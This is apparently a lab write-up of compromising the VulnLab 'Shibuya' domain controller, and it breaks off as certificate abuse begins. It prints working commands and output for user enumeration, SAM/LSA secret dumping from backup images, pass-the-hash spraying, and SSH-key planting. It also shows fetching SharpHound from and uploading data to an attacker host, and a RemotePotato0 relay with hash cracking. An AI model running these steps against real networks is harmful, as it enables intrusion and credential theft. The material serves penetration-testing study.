
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ nxc smb 10.10.107.27 --generate-hosts-file hosts SMB 10.10.107.27 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False) ┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ cat hosts 10.10.107.27 AWSJPDC0522.shibuya.vl shibuya.vl AWSJPDC0522
Port scan:
We are dealing with a domain controller, but there is no LDAP and no unusual services, there seem to be NULL session authentication but we couldn’t do anything with this
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ nxc smb shibuya.vl -u '' -p '' --shares SMB 10.10.104.52 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False) SMB 10.10.104.52 445 AWSJPDC0522 [+] shibuya.vl\: SMB 10.10.104.52 445 AWSJPDC0522 [-] Error enumerating shares: STATUS_ACCESS_DENIED
Next, we could use kerbrute
to spray for valid users,
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ /opt/tools/kerbrute_linux_amd64 userenum --dc 10.10.104.52 -d shibuya.vl /usr/share/wordlists/xato-net-10-million-usernames.txt __ __ __ / /_____ _____/ /_ _______ __/ /____ / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ / ,< / __/ / / /_/ / / / /_/ / /_/ __/ /_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/ Version: v1.0.3 (9dad6e1) - 06/20/25 - Ronnie Flathers @ropnop 2025/06/20 10:16:30 > Using KDC(s): 2025/06/20 10:16:30 > 10.10.104.52:88 2025/06/20 10:16:30 > [+] VALID USERNAME: purple@shibuya.vl 2025/06/20 10:16:30 > [+] VALID USERNAME: red@shibuya.vl 2025/06/20 10:16:45 > [+] VALID USERNAME: Purple@shibuya.vl 2025/06/20 10:16:55 > [+] VALID USERNAME: Red@shibuya.vl 2025/06/20 10:17:13 > [+] VALID USERNAME: RED@shibuya.vl 2025/06/20 10:17:13 > [+] VALID USERNAME: PURPLE@shibuya.vl
Check if the username = password give us our first user
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ nxc smb shibuya.vl -u red -p red -k SMB shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False) SMB shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\red:red
Interestingly, we have to authenticate with Kerberos, because the account we got is a machine account not domain user
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ nxc smb shibuya.vl -u red$ -p red -k SMB shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False) SMB shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\red$:red
Enumerating share does show that we have access to a non default share named users
, but there is nothing interesting in any of the accessible shares
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ nxc smb shibuya.vl -u red -p red -k --shares SMB shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False) SMB shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\red:red SMB shibuya.vl 445 AWSJPDC0522 [*] Enumerated shares SMB shibuya.vl 445 AWSJPDC0522 Share Permissions Remark SMB shibuya.vl 445 AWSJPDC0522 ----- ----------- ------ SMB shibuya.vl 445 AWSJPDC0522 ADMIN$ Remote Admin SMB shibuya.vl 445 AWSJPDC0522 C$ Default share SMB shibuya.vl 445 AWSJPDC0522 images$ SMB shibuya.vl 445 AWSJPDC0522 IPC$ READ Remote IPC SMB shibuya.vl 445 AWSJPDC0522 NETLOGON READ Logon server share SMB shibuya.vl 445 AWSJPDC0522 SYSVOL READ Logon server share SMB shibuya.vl 445 AWSJPDC0522 users READ
Enumerating users, however, give us a user named svc_autojoin
the password in their user description
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ nxc smb shibuya.vl -u red -p red -k --users SMB shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False) SMB shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\red:red SMB shibuya.vl 445 AWSJPDC0522 -Username- -Last PW Set- -BadPW- -Description- SMB shibuya.vl 445 AWSJPDC0522 _admin 2025-02-15 07:55:29 0 Built-in account for administering the computer/domain SMB shibuya.vl 445 AWSJPDC0522 Guest <never> 0 Built-in account for guest access to the computer/domain SMB shibuya.vl 445 AWSJPDC0522 krbtgt 2025-02-15 07:24:57 0 Key Distribution Center Service Account SMB shibuya.vl 445 AWSJPDC0522 svc_autojoin 2025-02-15 07:51:49 0 K5&A6Dw9d8jrKWhV SMB shibuya.vl 445 AWSJPDC0522 Leon.Warren 2025-02-16 10:23:34 0 SMB shibuya.vl 445 AWSJPDC0522 Graeme.Kerr 2025-02-16 10:23:34 0 SMB shibuya.vl 445 AWSJPDC0522 Joshua.North 2025-02-16 10:23:34 0 SMB shibuya.vl 445 AWSJPDC0522 Shaun.Burton 2025-02-16 10:23:34 0 SMB shibuya.vl 445 AWSJPDC0522 Gillian.Douglas 2025-02-16 10:23:34 0 SMB shibuya.vl 445 AWSJPDC0522 Kelly.Davies 2025-02-16 10:23:34 0 etc.
A quick confirm this cred is valid
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ nxc smb shibuya.vl -u svc_autojoin -p 'K5&A6Dw9d8jrKWhV' SMB 10.10.104.52 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False) SMB 10.10.104.52 445 AWSJPDC0522 [+] shibuya.vl\svc_autojoin:K5&A6Dw9d8jrKWhV
And this user can access the images$
share
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ nxc smb shibuya.vl -u svc_autojoin -p 'K5&A6Dw9d8jrKWhV' --shares SMB 10.10.104.52 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False) SMB 10.10.104.52 445 AWSJPDC0522 [+] shibuya.vl\svc_autojoin:K5&A6Dw9d8jrKWhV SMB 10.10.104.52 445 AWSJPDC0522 [*] Enumerated shares SMB 10.10.104.52 445 AWSJPDC0522 Share Permissions Remark SMB 10.10.104.52 445 AWSJPDC0522 ----- ----------- ------ SMB 10.10.104.52 445 AWSJPDC0522 ADMIN$ Remote Admin SMB 10.10.104.52 445 AWSJPDC0522 C$ Default share SMB 10.10.104.52 445 AWSJPDC0522 images$ READ SMB 10.10.104.52 445 AWSJPDC0522 IPC$ READ Remote IPC SMB 10.10.104.52 445 AWSJPDC0522 NETLOGON READ Logon server share SMB 10.10.104.52 445 AWSJPDC0522 SYSVOL READ Logon server share SMB 10.10.104.52 445 AWSJPDC0522 users READ
Which have a couple of windows images
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ nxc smb shibuya.vl -u svc_autojoin -p 'K5&A6Dw9d8jrKWhV' --regex . --spider 'images$' SMB 10.10.104.52 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False) SMB 10.10.104.52 445 AWSJPDC0522 [+] shibuya.vl\svc_autojoin:K5&A6Dw9d8jrKWhV SMB 10.10.104.52 445 AWSJPDC0522 [*] Started spidering SMB 10.10.104.52 445 AWSJPDC0522 [*] Spidering . SMB 10.10.104.52 445 AWSJPDC0522 //10.10.104.52/images$/. [dir] SMB 10.10.104.52 445 AWSJPDC0522 //10.10.104.52/images$/.. [dir] SMB 10.10.104.52 445 AWSJPDC0522 //10.10.104.52/images$/AWSJPWK0222-01.wim [lastm:'2025-02-19 18:35' size:8264070] SMB 10.10.104.52 445 AWSJPDC0522 //10.10.104.52/images$/AWSJPWK0222-02.wim [lastm:'2025-02-19 18:35' size:50660968] SMB 10.10.104.52 445 AWSJPDC0522 //10.10.104.52/images$/AWSJPWK0222-03.wim [lastm:'2025-02-19 18:35' size:32065850] SMB 10.10.104.52 445 AWSJPDC0522 //10.10.104.52/images$/vss-meta.cab [lastm:'2025-02-19 18:35' size:365686] SMB 10.10.104.52 445 AWSJPDC0522 [*] Done spidering (Completed in 0.13400650024414062)
After downloading all 3 image files,
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ impacket-smbclient svc_autojoin@shibuya.vl Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Password: Type help for list of commands # shares ADMIN$ C$ images$ IPC$ NETLOGON SYSVOL users # use images$ # ls drw-rw-rw- 0 Wed Feb 19 18:35:20 2025 . drw-rw-rw- 0 Wed Feb 19 13:59:37 2025 .. -rw-rw-rw- 8264070 Wed Feb 19 18:35:20 2025 AWSJPWK0222-01.wim -rw-rw-rw- 50660968 Wed Feb 19 18:35:20 2025 AWSJPWK0222-02.wim -rw-rw-rw- 32065850 Wed Feb 19 18:35:20 2025 AWSJPWK0222-03.wim -rw-rw-rw- 365686 Wed Feb 19 18:35:20 2025 vss-meta.cab # mget * [*] Downloading AWSJPWK0222-01.wim [*] Downloading AWSJPWK0222-02.wim [*] Downloading AWSJPWK0222-03.wim [*] Downloading vss-meta.cab #
we can either mount it in linux using wimmount
, or in windows using Mount-WindowsImage
, but for simplicity sake I’m just extract the content using 7z
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ 7z x AWSJPWK0222-02.wim -owim2 7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29 64-bit locale=en_US.UTF-8 Threads:8 OPEN_MAX:1024, ASM Scanning the drive for archives: 1 file, 50660968 bytes (49 MiB) Extracting archive: AWSJPWK0222-02.wim WARNINGS: Some files have incorrect reference count -- Path = AWSJPWK0222-02.wim Type = wim WARNING = Some files have incorrect reference count Physical Size = 50660968 Size = 227216933 Packed Size = 50650331 Method = XPress:15 Cluster Size = 32768 Created = 2025-02-16 13:23:45.6986518 Modified = 2025-02-16 13:23:45.6986518 Comment = <WIM><TOTALBYTES>50660130</TOTALBYTES><IMAGE INDEX="1"><DIRCOUNT>43</DIRCOUNT><FILECOUNT>86</FILECOUNT><TOTALBYTES>229314097</TOTALBYTES><HARDLINKBYTES>0</HARDLINKBYTES><CREATIONTIME><HIGHPART>0x01DB8065</HIGHPART><LOWPART>0x3DF39196</LOWPART></CREATIONTIME><LASTMODIFICATIONTIME><HIGHPART>0x01DB8065</HIGHPART><LOWPART>0x3DF39196</LOWPART></LASTMODIFICATIONTIME><WIMBOOT>0</WIMBOOT><NAME>Backup02</NAME></IMAGE></WIM> Version = 1.13 Multivolume = - Volume = 1 Volumes = 1 Images = 1 Everything is Ok Archives with Warnings: 1 Warnings: 1 Folders: 43 Files: 86 Size: 229314097 Compressed: 50660968
From the second image file, we’ll get the SAM
, SYSTEM
and SECURITY
registry hives which we can dump the using secretsdump
┌──(puck㉿kali)-[~/vulnlab/shibuya/wim2] └─$ impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM local Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Target system bootKey: 0x2e971736685fc53bfd5106d471e2f00f [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:8dcb5ed323d1d09b9653452027e8c013::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9dc1b36c1e31da7926d77ba67c654ae6::: operator:1000:aad3b435b51404eeaad3b435b51404ee:5d8c3d1a20bd63f60f469f6763ca0d50::: [*] Dumping cached domain logon information (domain/username:hash) SHIBUYA.VL/Simon.Watson:$DCC2$10240#Simon.Watson#04b20c71b23baf7a3025f40b3409e325: (2025-02-16 11:17:56+00:00) [*] Dumping LSA Secrets [*] $MACHINE.ACC $MACHINE.ACC:plain_password_hex:2f006b004e0045004c004<snip>002f00520026006b00690078005b003600670074003900 $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:1fe837c138d1089c9a0763239cd3cb42 [*] DPAPI_SYSTEM dpapi_machinekey:0xb31a4d81f2df440f806871a8b5f53a15de12acc1 dpapi_userkey:0xe14c10978f8ee226cbdbcbee9eac18a28b006d06 [*] NL$KM 0000 92 B9 89 EF 84 2F D6 55 73 67 31 8F E0 02 02 66 ...../.Usg1....f 0010 F9 81 42 68 8C 3B DF 5D 0A E5 BA F2 4A 2C 43 0E ..Bh.;.]....J,C. 0020 1C C5 4F 40 1E F5 98 38 2F A4 17 F3 E9 D9 23 E3 ..O@...8/.....#. 0030 D1 49 FE 06 B3 2C A1 1A CB 88 E4 1D 79 9D AE 97 .I...,......y... NL$KM:92b989ef842fd6557367318fe0020266f98142688c3bdf5d0ae5baf24a2c430e1cc54f401ef598382fa417f3e9d923e3d149fe06b32ca11acb88e41d799dae97 [*] Cleaning up...
None of the hash is crackable, but we can use these hashes to do a spray for password reuse
1st we create the user list.
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ nxc smb shibuya.vl -u svc_autojoin -p 'K5&A6Dw9d8jrKWhV' --rid-brute 10000 | grep SidTypeUser | cut -d : -f 2 | cut -d \\ -f 2 | cut -d ' ' -f 1 > users.txt
and spray
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ nxc smb shibuya.vl -u users.txt -H 5d8c3d1a20bd63f60f469f6763ca0d50 --continue-on-success --no-bruteforce SMB 10.10.104.52 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False) SMB 10.10.104.52 445 AWSJPDC0522 [-] shibuya.vl\_admin:5d8c3d1a20bd63f60f469f6763ca0d50 STATUS_LOGON_FAILURE SMB 10.10.104.52 445 AWSJPDC0522 [-] shibuya.vl\Guest:5d8c3d1a20bd63f60f469f6763ca0d50 STATUS_LOGON_FAILURE SMB 10.10.104.52 445 AWSJPDC0522 [-] shibuya.vl\krbtgt:5d8c3d1a20bd63f60f469f6763ca0d50 STATUS_LOGON_FAILURE SMB 10.10.104.52 445 AWSJPDC0522 [-] shibuya.vl\AWSJPDC0522$:5d8c3d1a20bd63f60f469f6763ca0d50 STATUS_LOGON_FAILURE SMB 10.10.104.52 445 AWSJPDC0522 [-] shibuya.vl\svc_autojoin:5d8c3d1a20bd63f60f469f6763ca0d50 STATUS_LOGON_FAILURE --snip-- SMB 10.10.104.52 445 AWSJPDC0522 [-] shibuya.vl\Keith.Wilson:5d8c3d1a20bd63f60f469f6763ca0d50 STATUS_LOGON_FAILURE SMB 10.10.104.52 445 AWSJPDC0522 [-] shibuya.vl\Joan.Taylor:5d8c3d1a20bd63f60f469f6763ca0d50 STATUS_LOGON_FAILURE SMB 10.10.104.52 445 AWSJPDC0522 [+] shibuya.vl\Simon.Watson:5d8c3d1a20bd63f60f469f6763ca0d50
After some time of spraying, we got a hit on the Simon.Watson
user
Getting user.flag , and upload authorized_keys file
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ impacket-smbclient simon.watson@shibuya.vl -hashes :5d8c3d1a20bd63f60f469f6763ca0d50 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Type help for list of commands # use users # cd simon.watson # ls # cd .ssh # put authorized_keys # ls drw-rw-rw- 0 Fri Jun 20 12:51:47 2025 . drw-rw-rw- 0 Fri Jun 20 12:51:23 2025 .. -rw-rw-rw- 91 Fri Jun 20 12:51:47 2025 authorized_keys # #
.
Now we need a way to get a shell on the box. Remember from the Nmap scan that SSH is open. Let’s create a .ssh
folder inside the user’s home directory and place our key there
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ ssh-keygen -t ed25519 -f simon Generating public/private ed25519 key pair. Enter passphrase for "simon" (empty for no passphrase): Enter same passphrase again: Your identification has been saved in simon Your public key has been saved in simon.pub The key fingerprint is: SHA256:zkpCHl2Wii9VBxYQHMcRqUlG8Ko0VLpBa8S6iFzYqrQ puck@kali The key's randomart image is: +--[ED25519 256]--+ | .o o+==B= | | o.+ .+ooo | | .O o.o= . | |.+ = +o= . | |+.* = + S | |+= = + o | |o o + o o | |.E + . | | . | +----[SHA256]-----+ ┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ mv simon.pub authorized_keys ┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$
upload
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ impacket-smbclient simon.watson@shibuya.vl -hashes :5d8c3d1a20bd63f60f469f6763ca0d50 Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies Type help for list of commands # shares ADMIN$ C$ images$ IPC$ NETLOGON SYSVOL users # use users # ls drw-rw-rw- 0 Sun Feb 16 11:50:59 2025 . drw-rw-rw- 0 Wed Feb 19 13:59:37 2025 .. drw-rw-rw- 0 Sat Feb 15 07:49:31 2025 Administrator drw-rw-rw- 0 Sat Feb 15 16:48:20 2025 All Users drw-rw-rw- 0 Sat Feb 15 16:49:12 2025 Default drw-rw-rw- 0 Sat Feb 15 16:48:20 2025 Default User -rw-rw-rw- 174 Sat Feb 15 16:46:52 2025 desktop.ini drw-rw-rw- 0 Tue Feb 18 20:29:42 2025 nigel.mills drw-rw-rw- 0 Sat Feb 15 07:49:31 2025 Public drw-rw-rw- 0 Tue Feb 18 20:36:45 2025 simon.watson # cd simon.watson # cd desktop # ls drw-rw-rw- 0 Sun Feb 16 11:42:41 2025 . drw-rw-rw- 0 Tue Feb 18 20:36:45 2025 .. -rw-rw-rw- 36 Sun Feb 16 11:43:08 2025 flag.txt # get flag.txt # cd .. # mkdir .ssh # cd .ssh # put authorized_keys # ls drw-rw-rw- 0 Fri Apr 11 14:39:28 2025 . drw-rw-rw- 0 Fri Apr 11 14:35:07 2025 .. -rw-rw-rw- 91 Fri Apr 11 14:39:28 2025 authorized_keys -rw-rw-rw- 735 Fri Apr 11 14:37:05 2025 simon.pub
we now can ssh into the box
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ ssh -i simon simon.watson@shibuya.vl The authenticity of host 'shibuya.vl (10.10.104.52)' can't be established. ED25519 key fingerprint is SHA256:SiXhmjQMScl7eQgH4/uyVXXTsCHM6diy6fh80l4zzJQ. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'shibuya.vl' (ED25519) to the list of known hosts. Microsoft Windows [Version 10.0.20348.3207] (c) Microsoft Corporation. All rights reserved. shibuya\simon.watson@AWSJPDC0522 C:\Users\simon.watson>whoami shibuya\simon.watson shibuya\simon.watson@AWSJPDC0522 C:\Users\simon.watson>
.
Another way we can connect to SSH is by using changepasswd
from Impacket to change Simon’s password using his hash, since we can’t use pass-the-hash with SSH
$ changepasswd.py shibuya.vl/simon.watson@shibuya.vl -hashes :<REDACTED> -newpass P@ssw0rd Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies [*] Changing the password of shibuya.vl\simon.watson [*] Connecting to DCE/RPC as shibuya.vl\simon.watson [*] Password was changed successfully.
and then ssh in with the new pw
$ ssh simon.watson@shibuya.vl simon.watson@shibuya.vl's password: Microsoft Windows [Version 10.0.20348.3207] (c) Microsoft Corporation. All rights reserved. shibuya\simon.watson@AWSJPDC0522 C:\Users\simon.watson>
.
Get SharpHound.exe
on the box
shibuya\simon.watson@AWSJPDC0522 c:\ProgramData>curl http://10.8.2.138:8000/SharpHound.exe -o SharpHound.exe % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1022k 100 1022k 0 0 4506k 0 --:--:-- --:--:-- --:--:-- 4522k
run SharpHound.exe
shibuya\simon.watson@AWSJPDC0522 c:\ProgramData>SharpHound.exe -c All 2025-06-20T05:09:54.2921602-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound 2025-06-20T05:09:54.7788579-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote 2025-06-20T05:09:55.0601145-07:00|INFORMATION|Initializing SharpHound at 5:09 AM on 6/20/2025 2025-06-20T05:09:55.4663672-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for shibuya.vl : AWSJPDC0522.shibuya.vl 2025-06-20T05:09:55.6851071-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote 2025-06-20T05:09:56.4194531-07:00|INFORMATION|Beginning LDAP search for shibuya.vl 2025-06-20T05:09:57.2006867-07:00|INFORMATION|Producer has finished, closing LDAP channel 2025-06-20T05:09:57.2006867-07:00|INFORMATION|LDAP channel closed, waiting for consumers 2025-06-20T05:10:27.2715972-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 39 MB RAM 2025-06-20T05:10:46.5124120-07:00|INFORMATION|Consumers finished, closing output channel 2025-06-20T05:10:46.6061001-07:00|INFORMATION|Output channel closed, waiting for output task to complete Closing writers 2025-06-20T05:10:46.9186543-07:00|INFORMATION|Status: 600 objects finished (+600 12)/s -- Using 47 MB RAM 2025-06-20T05:10:46.9342343-07:00|INFORMATION|Enumeration finished in 00:00:50.5097153 2025-06-20T05:10:47.6529634-07:00|INFORMATION|Saving cache with stats: 559 ID to type mappings. 559 name to SID mappings. 0 machine sid mappings. 2 sid to domain mappings. 0 global catalog mappings. 2025-06-20T05:10:47.6842283-07:00|INFORMATION|SharpHound Enumeration Completed at 5:10 AM on 6/20/2025! Happy Graphing! shibuya\simon.watson@AWSJPDC0522 c:\ProgramData>
.
make an upload server available
┌──(puck㉿kali)-[/opt/oscp-scripts] └─$ upload-server 80 ~/vulnlab/shibuya Use the following commands to upload a file to the server: Windows PS: Invoke-WebRequest -Uri http://10.8.2.138:80/<outfile> -Method PUT -InFile <file_path> Invoke-WebRequest -Uri http://10.8.2.138:80/<outfile> -Method POST -InFile <file_path> Linux wget: wget --method=PUT --body-file=<file_path> http://10.8.2.138:80/<outfile> wget --method=POST --body-file=<file_path> http://10.8.2.138:80/<outfile> Starting server on http://10.8.2.138:80...
and then upload the bloodhound.zip to our Kali box.
PS C:\ProgramData> Invoke-WebRequest -Uri http://10.8.2.138:80/20250620051045_BloodHound.zip -UseBasicParsing -Method POST -InFile 20250620051045_BloodHound.zip StatusCode : 200 StatusDescription : OK Content : {} RawContent : HTTP/1.0 200 OK Date: Fri, 20 Jun 2025 12:19:57 GMT Server: BaseHTTP/0.6 Python/3.13.3 Headers : {[Date, Fri, 20 Jun 2025 12:19:57 GMT], [Server, BaseHTTP/0.6 Python/3.13.3]} RawContentLength : 0 PS C:\ProgramData>
.
Start BloodHound with : $ sudo docker-compose -f /opt/bloodhoundcepuck/docker-compose.yml up
login to bloodhound : http://localhost:8080/ui/login
Analyze the bloodhound data
From this scan, we see that in addition to our simon.watson
user, the nigel.mills
user is logged in on the DC
This open us to Cross Session relay attack, but furthermore, the nigel.mills
user is part of the t1_admins
group which have enrollment right over the ShibuyaWeb
certificate template, this is ESC1

First, we need to find this nigel.mills
user session id,
The simplest way is to just check running processes , we see tasks running in session 1 instead of our session 0, including explorer
so the nigel.mills
user is actually logged in
For our weapon of choice, I’m going to go with RemotePotato0
, but interestingly, both the exploit and socat
ran just fine without any issue
C:\Users\simon.watson>netsh advfirewall firewall show rule name=all
Rule Name:
Custom TCP Allow
-------
Enabled: Yes
Direction: In
Profiles: Domain,Private,Public
Grouping:
LocalIP: Any
RemoteIP: Any
Protocol: TCP
LocalPort: 8000-9000
RemotePort: Any
Edge traversal: No
Action: Allow
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.104.52:8888 > 2025/06/20 14:48:16.000095991 length=116 from=0 to=115 ..\v.....t...........................`R.......!4z.....]........\b.+.H`............`R.......!4z....,..l..@E............< 2025/06/20 14:48:16.000111189 length=84 from=0 to=83 ..\f.....T.................8888...........]........\b.+.H`............................> 2025/06/20 14:48:16.000235369 length=24 from=116 to=139 ........................< 2025/06/20 14:48:16.000251672 length=40 from=84 to=123 ........(...............................> 2025/06/20 14:48:16.000412844 length=120 from=0 to=119 ..\v\a....x.(.........................`R.......!4z.....]........\b.+.H`.... .......NTLMSSP.......\b................. .|O....< 2025/06/20 14:48:16.000480036 length=294 from=0 to=293 ..\f\a....&.................8888...........]........\b.+.H`.... .......NTLMSSP.........8...........................F... .|O....S.H.I.B.U.Y.A.....S.H.I.B.U.Y.A.....A.W.S.J.P.D.C.0.5.2.2.....s.h.i.b.u.y.a...v.l...,.A.W.S.J.P.D.C.0.5.2.2...s.h.i.b.u.y.a...v.l.....s.h.i.b.u.y.a...v.l.\a.\b..k .........> 2025/06/20 14:48:16.000510169 length=614 from=120 to=733 ...\a................ .......NTLMSSP.............@.@.........X.......f.......|............... .|O........... .|..<Jx.S.H.I.B.U.Y.A.N.i.g.e.l...M.i.l.l.s.A.W.S.J.P.D.C.0.5.2.2.........................\\...[..o&..8\a.`Z.........k ......\f...Bo.........S.H.I.B.U.Y.A.....A.W.S.J.P.D.C.0.5.2.2.....s.h.i.b.u.y.a...v.l...,.A.W.S.J.P.D.C.0.5.2.2...s.h.i.b.u.y.a...v.l.....s.h.i.b.u.y.a...v.l.\a.\b..k .............\b.0.0............ ..P.z...T.....KC..\\....S...h....9. ................... . .R.P.C.S.S./.1.0...8...2...1.3.8..........jK..R.......QY.........P................#....%.........\a............... ..............B.F......< 2025/06/20 14:48:16.000567366 length=32 from=294 to=325 ........ ....... ...............> 2025/06/20 14:48:16.000667690 length=72 from=0 to=71 ..\v.....H...........................`R.......!4z.....]........\b.+.H`....< 2025/06/20 14:48:16.000683128 length=60 from=0 to=59 ..\f.....<.................8888...........]........\b.+.H`....> 2025/06/20 14:48:16.000727374 length=42 from=72 to=113 ........*................#....%.........\a.< 2025/06/20 14:48:16.000743032 length=108 from=60 to=167 ........l.......T...................\a.1.2.7...0...0...1.[.9.9.9.7.]..... ...........""33DDUUUUUU......\a.....2025/06/20 14:48:16 socat[205625] E read(5, 0x561e97fdc000, 8192): Connection reset by peer 2025/06/20 14:48:16 socat[205630] E read(5, 0x561e97fdc000, 8192): Connection reset by peer
PS C:\ProgramData> .\RemotePotato0.exe -m 2 -r 10.8.2.138 -x 10.8.2.138 -p 8888 -s 1 [*] Detected a Windows Server version not compatible with JuicyPotato. RogueOxidResolver must be run remotely. Remember to forward tcp port 135 on 10.8.2.138 to your victim machine on port 8888 [*] Example Network redirector: sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:{{ThisMachineIp}}:8888 [*] Starting the RPC server to capture the credentials hash from the user authentication!! [*] Spawning COM object in the session: 1 [*] Calling StandardGetInstanceFromIStorage with CLSID:{5167B42F-C111-47A1-ACC4-8EABE61B0B54} [*] RPC relay server listening on port 9997 ... [*] Starting RogueOxidResolver RPC Server listening on port 8888 ... [*] IStoragetrigger written: 102 bytes [*] ServerAlive2 RPC Call [*] ResolveOxid2 RPC call [+] Received the relayed authentication on the RPC relay server on port 9997 [*] Connected to RPC Server 127.0.0.1 on port 8888 [+] User hash stolen! NTLMv2 Client : AWSJPDC0522 NTLMv2 Username : SHIBUYA\Nigel.Mills NTLMv2 Hash : Nigel.Mills::SHIBUYA:d6ac922d19752cbc:babd71cb464535c903cb6f39e64d7009:0101000000000000fedd549ce1e1db01e418261af0e2f2a60000000002000e0053004800490042005
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ john hash.txt -wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Sail2Boat3 (Nigel.Mills) 1g 0:00:00:00 DONE (2025-06-20 14:59) 8.333g/s 1911Kp/s 1911Kc/s 1911KC/s astigg..17021982 Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed.
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ sshpass -p 'Sail2Boat3' ssh nigel.mills@shibuya.vl Microsoft Windows [Version 10.0.20348.3207] (c) Microsoft Corporation. All rights reserved. shibuya\nigel.mills@AWSJPDC0522 C:\Users\nigel.mills>
.
ESC1
Identify as Vulnerable
Even without noticing this certificate is vulnerable to ESC1, I can run Certipy to check for vulnerable certificates.
certipy
will need to connect to LDAP, so I’ll reconnect a SSH session with -D 1080
, which gives a socks proxy over the SSH session listening on my host on TCP 1080.
I’ll make sure my /etc/proxychains.conf
file has 1080 as the only chain:
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ tail -2 /etc/proxychains4.conf socks4 127.0.0.1 1080
and then run ceritipy proxychained.
